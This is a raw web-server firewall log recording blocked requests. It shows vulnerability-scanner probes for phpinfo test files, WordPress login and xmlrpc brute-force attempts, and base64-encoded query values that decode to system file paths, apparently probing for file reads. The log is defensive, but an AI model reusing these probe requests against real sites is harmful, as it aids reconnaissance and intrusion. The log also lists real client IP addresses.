https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9zdWJzeXN0ZW0vaW5wdXQxL3N1YnN5c3RlbS9pbnB1dDUvY2FwYWJpbGl0aWVz [Sat Jun 13 18:18:35.984334 2026] [security2:error] [pid 646876:tid 647069] [client 185.177.72.9:14666] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/test_info.php"] [unique_id "ai3zW9yTkdrNlD40tSG1_gAAAD0"] [Sat Jun 13 18:18:36.029983 2026] [access_compat:error] [pid 646876:tid 646883] [remote 57.141.14.27:32034] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:18:36.030441 2026] [access_compat:error] [pid 646876:tid 646883] [remote 57.141.14.27:32034] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:18:36.035833 2026] [security2:error] [pid 648189:tid 648296] [remote 202.172.25.51:45758] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 51.25.172.202.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "bioxco.com"] [uri "/xmlrpc.php"] [unique_id "ai3zXFWSojQL4F7upKBwoAAAvUo"] [Sat Jun 13 18:18:36.036108 2026] [security2:error] [pid 648189:tid 648410] [client 202.172.25.51:45758] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "151"] [id "900405"] [msg "xmlrpc POST logging"] [data "409"] [hostname "bioxco.com"] [uri "/xmlrpc.php"] [unique_id "ai3zXFWSojQL4F7upKBwoAAAvUo"] [Sat Jun 13 18:18:36.154070 2026] [access_compat:error] [pid 648189:tid 648337] [remote 57.141.14.113:51034] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:18:36.154340 2026] [access_compat:error] [pid 648189:tid 648337] [remote 57.141.14.113:51034] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:18:36.181827 2026] [security2:error] [pid 648189:tid 648339] [remote 202.172.25.51:45772] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 51.25.172.202.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "spectastore.com.ng"] [uri "/wp-login.php"] [unique_id "ai3zXFWSojQL4F7upKBwpwAAsXQ"] [Sat Jun 13 18:18:36.260299 2026] [security2:error] [pid 648189:tid 648448] [client 185.177.72.9:14676] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/test_info1.php"] [unique_id "ai3zXFWSojQL4F7upKBwqwAAAOI"] [Sat Jun 13 18:18:36.351938 2026] [access_compat:error] [pid 648189:tid 648279] [remote 57.141.14.90:46674] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:18:36.352384 2026] [access_compat:error] [pid 648189:tid 648279] [remote 57.141.14.90:46674] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:18:36.403265 2026] [access_compat:error] [pid 646876:tid 646922] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vZXZlbnQzL2RldmljZS9zdWJzeXN0ZW0vaW5wdXQ1L2RldmljZQ== [Sat Jun 13 18:18:36.403645 2026] [access_compat:error] [pid 646876:tid 646922] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vZXZlbnQzL2RldmljZS9zdWJzeXN0ZW0vaW5wdXQ1L2RldmljZQ== [Sat Jun 13 18:18:36.527748 2026] [security2:error] [pid 646876:tid 647079] [client 185.177.72.9:14690] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/test_info2.php"] [unique_id "ai3zXNyTkdrNlD40tSG2DAAAAEc"] [Sat Jun 13 18:18:36.555421 2026] [security2:error] [pid 648189:tid 648272] [remote 17.246.23.229:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 229.23.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zXFWSojQL4F7upKBwvQAAhjI"] [Sat Jun 13 18:18:36.589851 2026] [security2:error] [pid 648189:tid 648343] [remote 17.241.227.129:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 129.227.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zXFWSojQL4F7upKBwvwAAiXg"] [Sat Jun 13 18:18:36.639838 2026] [security2:error] [pid 648189:tid 648413] [client 114.119.138.117:45253] ModSecurity: Access denied with code 406 (phase 1). Pattern match "ZoominfoBot|NetcraftSurveyAgent|MJ12bot|(?i:BUbiNG)|D(?i:otbot)| oBot/|MegaIndex\\\\.ru|Barkrowler|Spbot|DomainCrawler|Seznam|CCBot|SiteExplorer|OpenLinkProfiler|Sogou web spider|360Spider|Semrush|Panscient|crawler\\\\.feedback([+]\\\\S+)?@gmail\\\\.com|MauiBo ..." at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "585"] [id "999812"] [msg "Problematic Crawler"] [hostname "designthesign.com"] [uri "/index.php"] [unique_id "ai3zXFWSojQL4F7upKBwxAAAAMA"], referer: https://web.myrtlebeachareachamber.com/cwt/external/wcpages/wcdirectory/directory.aspx?listingid=15597&profileid=4Q3H2G8B9N&action=uweb&url=http%3A%2F%2Fwww.designthesign.com [Sat Jun 13 18:18:36.662572 2026] [access_compat:error] [pid 648189:tid 648223] [remote 57.141.14.3:59210] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:18:36.662899 2026] [access_compat:error] [pid 648189:tid 648223] [remote 57.141.14.3:59210] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:18:36.672823 2026] [access_compat:error] [pid 648189:tid 648240] [remote 57.141.14.61:35864] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:18:36.673194 2026] [access_compat:error] [pid 648189:tid 648240] [remote 57.141.14.61:35864] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:18:36.795692 2026] [security2:error] [pid 648189:tid 648439] [client 185.177.72.9:14706] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/test_info3.php"] [unique_id "ai3zXFWSojQL4F7upKBwzQAAANo"] [Sat Jun 13 18:18:36.798763 2026] [security2:error] [pid 648189:tid 648237] [remote 103.78.97.230:27548] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 230.97.78.103.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "rhinoglobalenterprises.com"] [uri "/wp-login.php"] [unique_id "ai3zXFWSojQL4F7upKBwzgAA7xA"], referer: https://rhinoglobalenterprises.com/wp-login.php [Sat Jun 13 18:18:36.924039 2026] [access_compat:error] [pid 646876:tid 646885] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9ldmVudDAvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vaW5wdXQwL3Bvd2Vy [Sat Jun 13 18:18:36.924483 2026] [access_compat:error] [pid 646876:tid 646885] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9ldmVudDAvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vaW5wdXQwL3Bvd2Vy [Sat Jun 13 18:18:37.066187 2026] [security2:error] [pid 648189:tid 648377] [client 185.177.72.9:14722] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/test_info4.php"] [unique_id "ai3zXVWSojQL4F7upKBw2QAAAJ0"] [Sat Jun 13 18:18:37.073590 2026] [access_compat:error] [pid 646876:tid 646982] [remote 57.141.14.97:50144] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:18:37.074086 2026] [access_compat:error] [pid 646876:tid 646982] [remote 57.141.14.97:50144] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:18:37.075557 2026] [access_compat:error] [pid 648189:tid 648231] [remote 57.141.14.5:33719] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:18:37.076003 2026] [access_compat:error] [pid 648189:tid 648231] [remote 57.141.14.5:33719] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:18:37.306796 2026] [security2:error] [pid 648189:tid 648233] [remote 17.246.19.118:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 118.19.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zXVWSojQL4F7upKBw5AAA-A0"] [Sat Jun 13 18:18:37.330254 2026] [security2:error] [pid 648189:tid 648412] [client 185.177.72.9:14728] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/test_info5.php"] [unique_id "ai3zXVWSojQL4F7upKBw5wAAAL8"] [Sat Jun 13 18:18:37.342232 2026] [security2:error] [pid 648189:tid 648308] [remote 17.22.237.147:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 147.237.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zXVWSojQL4F7upKBw6QAAzlY"] [Sat Jun 13 18:18:37.409792 2026] [access_compat:error] [pid 646876:tid 646966] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9ldmVudDIvc3Vic3lzdGVtL2lucHV0NC9zdWJzeXN0ZW0vZXZlbnQ0L3Bvd2Vy [Sat Jun 13 18:18:37.410228 2026] [access_compat:error] [pid 646876:tid 646966] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9ldmVudDIvc3Vic3lzdGVtL2lucHV0NC9zdWJzeXN0ZW0vZXZlbnQ0L3Bvd2Vy [Sat Jun 13 18:18:37.596098 2026] [security2:error] [pid 646876:tid 647100] [client 185.177.72.9:14738] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/test_phpinfo.php"] [unique_id "ai3zXdyTkdrNlD40tSG2GgAAAFw"] [Sat Jun 13 18:18:37.748117 2026] [access_compat:error] [pid 646876:tid 646936] [remote 57.141.14.64:36898] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:18:37.748509 2026] [access_compat:error] [pid 646876:tid 646936] [remote 57.141.14.64:36898] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:18:37.863556 2026] [security2:error] [pid 646876:tid 647029] [client 185.177.72.9:14742] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/test_phpinfo1.php"] [unique_id "ai3zXdyTkdrNlD40tSG2HAAAABU"] [Sat Jun 13 18:18:37.993090 2026] [access_compat:error] [pid 646876:tid 646976] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vaW5wdXQ2L21vdXNlMi9kZXZpY2UvZXZlbnQ1L3Bvd2Vy [Sat Jun 13 18:18:37.993526 2026] [access_compat:error] [pid 646876:tid 646976] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vaW5wdXQ2L21vdXNlMi9kZXZpY2UvZXZlbnQ1L3Bvd2Vy [Sat Jun 13 18:18:38.088385 2026] [access_compat:error] [pid 646876:tid 646906] [remote 57.141.14.104:21700] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:18:38.088688 2026] [access_compat:error] [pid 646876:tid 646906] [remote 57.141.14.104:21700] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:18:38.128320 2026] [security2:error] [pid 648189:tid 648361] [client 185.177.72.9:14744] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/test_phpinfo2.php"] [unique_id "ai3zXlWSojQL4F7upKBxEAAAAI0"] [Sat Jun 13 18:18:38.309741 2026] [access_compat:error] [pid 648189:tid 648253] [remote 57.141.14.8:60493] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:18:38.310014 2026] [access_compat:error] [pid 648189:tid 648253] [remote 57.141.14.8:60493] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:18:38.321909 2026] [security2:error] [pid 648189:tid 648236] [remote 17.246.19.84:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 84.19.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zXlWSojQL4F7upKBxFAAAog8"] [Sat Jun 13 18:18:38.399940 2026] [security2:error] [pid 648189:tid 648377] [client 185.177.72.9:14756] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/test_phpinfo3.php"] [unique_id "ai3zXlWSojQL4F7upKBxHQAAAJ0"] [Sat Jun 13 18:18:38.473580 2026] [access_compat:error] [pid 646876:tid 646888] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vaW5wdXQ1L3N1YnN5c3RlbS9pbnB1dDUvaWQ= [Sat Jun 13 18:18:38.474061 2026] [access_compat:error] [pid 646876:tid 646888] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vaW5wdXQ1L3N1YnN5c3RlbS9pbnB1dDUvaWQ= [Sat Jun 13 18:18:38.551054 2026] [security2:error] [pid 648189:tid 648239] [remote 92.23.120.103:0] ModSecurity: Warning. Pattern match "/(contact(o|.?us)?|wp-comments-post|(send)?.?(form.)?e?mail(er)?|memberlist|send|contact.form(.handler)?|thankyou|leafmailer[0-9.]*)\\\\.php" at REQUEST_URI. [file "/opt/mod_security/hg_rules.conf"] [line "1546"] [id "900923"] [msg "contact form logging"] [hostname "www.torquayfans.com"] [uri "/memberlist.php"] [unique_id "ai3zXlWSojQL4F7upKBxIgAAnBI"], referer: https://www.torquayfans.com [Sat Jun 13 18:18:38.551094 2026] [security2:error] [pid 648189:tid 648239] [remote 92.23.120.103:0] ModSecurity: Access denied with code 409 (phase 2). Match of "eq 1" against "&REQUEST_COOKIES:humans_21909" required. [file "/opt/mod_security/hg_rules.conf"] [line "1552"] [id "900424"] [msg "Transparent Bot Detection for Contact Forms"] [hostname "www.torquayfans.com"] [uri "/memberlist.php"] [unique_id "ai3zXlWSojQL4F7upKBxIgAAnBI"], referer: https://www.torquayfans.com [Sat Jun 13 18:18:38.668843 2026] 